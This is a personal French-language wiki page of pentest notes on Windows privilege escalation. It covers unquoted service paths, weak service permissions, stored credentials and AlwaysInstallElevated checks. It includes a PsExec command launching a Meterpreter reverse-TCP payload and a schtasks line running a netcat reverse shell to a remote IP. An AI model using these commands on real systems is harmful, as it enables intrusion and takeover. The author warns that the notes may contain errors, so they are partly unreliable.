Hacking Wiki

Notes persos. Il y a probablement beaucoup d'erreurs donc privilégiez des sources plus fiables.

View on GitHub

Elévation de priviléges (Windows)

The following elements are based on http://toshellandback.com/2015/11/24/ms-priv-esc/

PowerSploit

Le module PowerUp de PowerSploit permet de faire la plupart des contrôles ci-dessous de manière complétement automatisée.

Import-Module Privesc
Invoke-AllChecks

Vulnérabilités systèmes

Il est possible de trouver des vulnérabilités non patchées sur le système. L’outil Windows Exploit Suggester (Tool) facilite cette vérification.

Mot de passes

De nombreux fichiers peuvent contenir des mots de passes sensibles. La suite PowerUp dispose des fonctions suivantes pour trouver certains d’entre eux (tous sont appelés avec Inboke-AllChecks):

Get-UnattendedInstallFile
Get-Webconfig
Get-ApplicationHost
Get-SiteListPassword
Get-CachedGPPPassword
Get-RegistryAutoLogon

Voir Stored Credentials (Pentestlab).

Trusted Service Paths

Si le “Service path” d’un service n’est pas mis entre quote il est possible d’effectuer une attaque. Pour l’exemple on considère le Service Path suivant:

C:\Program Files\Some Folder\Service.exe

Windows va essayer d’appeler les programmes suivant, jusqu’à ce que l’un d’eux soit identifé:

C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe

Ceci peut conduire à une compromission s’il est possible de créer C:\Program.exe ou C:\Program Files\Some.exe

WMIC peut être utilisé pour contrôler ce point:

wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """

On peut utiliser icacls pour vérifier les permissions:

icacls "C:\Program Files (x86)\Privacyware"

On peut ensuite relancer le service:

sc stop PFNet
sc start PFNet

Si on a pas les privilèges pour redémarrer le service, on peut essayer de redémarrer le serveur.

Modifier un service Windows

Avec de la chance il est possible de modifier un service. L’outil accesschk peut être utilisé pour vérifier ceci:

accesschk.exe -uwcqv "Authenticated Users" * /accepteula

On peut regarder les propriétés du service PFNet

sc qc PFNet

Il est parfois possible de changer le binaire lui même.

AlwaysInstallElevated

Regarder si l’option AlwaysInstallElevated est active. Cette option permet à un utilisateur lambda d’installer des logiciels comme s’il disposait des droits systèmes.

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Voir Always Install Elevated

Alternatives à RunAs

On est parfois dans des situations où on a:

Dans ce cas il est possible d’executer des commandes avec une des méthodes suivantes.

PsExec

Il faut avoir uploaddé PsExec. Ensuite on peut exécuter la commande suivante:

PsExec \\MACHINE -u user -p password C:\target\encrypted_meterpreter_reverse_tcp_80.exe

schtasks

Il est possible de créer une “scheduled task” et passer le mdp admin sur la ligne de commande.

schtasks /create /sc once /tr "nc.exe -e cmd.exe 192.168.30.156 443" /tn MASUPERTACHE /st 00:00:00 /ru user /rp password
schtasks /run /tn MASUPERTACHE

Ressources

Outils

Documents